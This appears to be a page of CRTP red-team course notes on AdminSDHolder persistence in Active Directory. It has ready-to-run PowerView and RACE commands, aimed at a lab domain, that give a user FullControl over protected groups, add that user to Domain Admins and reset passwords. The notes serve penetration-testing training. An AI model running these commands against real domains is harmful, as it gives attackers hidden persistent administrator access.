Certified Red Team Professional (CRTP) - Notes
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  • 📝Certified Red Team Professional (CRTP) - Notes
    • ℹ️0 - Course Summary
    • 1️⃣1 - Active Directory (AD)
      • 1.1 - Introduction to Active Directory (AD)
      • 1.2 - Physical Components of AD
      • 1.3 - Logical Components of AD
    • 2️⃣2 - PowerShell
      • 2.1 - Introduction to PowerShell
      • 2.2 - Security and Detection
    • 3️⃣3 - AD Enumeration
      • 3.1 - Host & User Identification
      • 3.2 - Common Services Enum
        • 3.2.1 - LDAP & DNS Enum
        • 3.2.2 - SMB Enum & Common Attacks
      • 3.3 - Domain Enumeration
        • 3.3.1 - PowerView
          • 3.3.1.1 - Domain Enumeration (Video Lab)
        • 3.3.2 - BloodHound
    • 4️⃣4 - Trust and Privileges Mapping
      • 4.1 - Access Control (ACL/ACE)
      • 4.2 - Group Policy
      • 4.3 - Trusts
    • 5️⃣5 - Local Privilege Escalation
      • 5.1 - Privilege Escalation
        • 5.1.1 - Feature Abuse
        • 5.1.2 - Relaying
        • 5.1.3 - GPO Abuse
        • 5.1.4 - Unquoted Service Path
      • 5.2 - Tools
    • 7️⃣6 - Lateral Movement
      • 6.1 - PowerShell Remoting & Tradecraft
      • 6.2 - Credentials Extraction & Mimikatz
    • 9️⃣7 - Kerberos Attack and Privelege Escalation
      • 7.1 - Kerberos Intro
      • 7.2 - User Enum in Kerberos
      • 7.3 - AS-REP Roasting
      • 7.4 - Kerberoasting
      • 7.5 - Kerberos Delegation
        • Uncostrained Delegation
        • Constrained Delegation
      • 7.6 - Accross Trusts
        • Page
        • External Trust
        • Forest
        • Domain Trust
    • 8️⃣8 - Persistence
      • 8.1 - Golden Ticket
      • 8.2 - Silver Ticket
      • 8.3 - Diamond Ticket
      • 8.4 - Skeleton Key
      • 8.5 - DSRM
      • 8.6 - Custom SSP
      • 8.7 - Persistence via ACLs
        • 8.7.1 - AdminSDHolder
        • 8.7.2 - DCSync Attack
        • 8.7.3 - Security Descriptors
    • 9️⃣9 - Detection and Defense
    • Lab
      • 0 - Lab Instructions
      • 1 - LO 1️
      • 2 - LO2️
      • 3 - LO 3️
      • 4 - LO 4️
      • 5 - LO 5️
      • 6 - LO 6️
      • 7 - LO 7️
      • 8 - LO8️
      • 9 - LO9️
      • 10 - LO1️0️
      • 11 - LO1️1️
      • 12 - LO1️2️
      • 13 - LO1️3️
      • 14 - LO1️4️
      • 15 - LO1️5️
      • 16 - LO1️6️
      • 17 - LO1️7️
      • 18 - LO1️8️
      • 19 - LO1️9️
      • 20 - LO2️0️
      • 21 - LO2️1️
      • 22 - LO 2️2️
      • 23 - LO2️3️
    • 📄Report
      • How to write a PT Report
  • 🛣️RoadMap / Exam Preparation
  • 📔CRTP Cheat Sheet
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  • AdminSDHolder
  • Abusing AdminSDHolder Permissions
  • Labs
  1. Certified Red Team Professional (CRTP) - Notes
  2. 8 - Persistence
  3. 8.7 - Persistence via ACLs

8.7.1 - AdminSDHolder

AdminSDHolder

  • AdminSDHolder is an object located under the System container in AD. It defines ACLs for high-privilege "protected groups", such as:

    • Domain Admins

    • Enterprise Admins

    • Schema Admins

    • Backup Operators

    • Server Operators

    • and others

  • A system process called SDProp runs every 60 minutes, syncing the ACL of protected group members to match that of the AdminSDHolder.

🎯 Persistence Technique:

Granting permissions to a user on the AdminSDHolder object causes that permission to propagate to all protected groups.

Example: Grant FullControl to student1

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
                    -PrincipalIdentity student1 `
                    -Rights All `
                    -PrincipalDomain dollarcorp.moneycorp.local `
                    -TargetDomain dollarcorp.moneycorp.local `
                    -Verbose

Alternative (RACE Toolkit):

powershellCopiaModificaSet-DCPermissions -Method AdminSDHolder `
                  -SAMAccountName student1 `
                  -Right GenericAll `
                  -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
                  -Verbose

🔍 Verifying Admin Rights:

Using PowerView:

Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
  ForEach-Object {
    $_ | Add-Member NoteProperty 'IdentityName' (Convert-SidToName $_.SecurityIdentifier) -Force; $_
  } | Where-Object {$_.IdentityName -match "student1"}

Or using the AD module:

(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access |
  Where-Object {$_.IdentityReference -match 'student1'}

Abusing AdminSDHolder Permissions

Add to DA group (if you have FullControl)

Add-DomainGroupMember -Identity 'Domain Admins' -Members student1

Reset password (if ResetPassword right is granted)

powershellCopiaModificaSet-DomainUserPassword -Identity student1 -AccountPassword (ConvertTo-SecureString "Password@123" -AsPlainText -Force)

Write group membership (WriteMembers)

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=dollarcorp,DC=moneycorp,DC=local' `
                    -PrincipalIdentity student1 -Rights WriteMembers

Labs

Previous8.7 - Persistence via ACLsNext8.7.2 - DCSync Attack

Last updated 2 days ago

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8️⃣
Learning Object 12 lab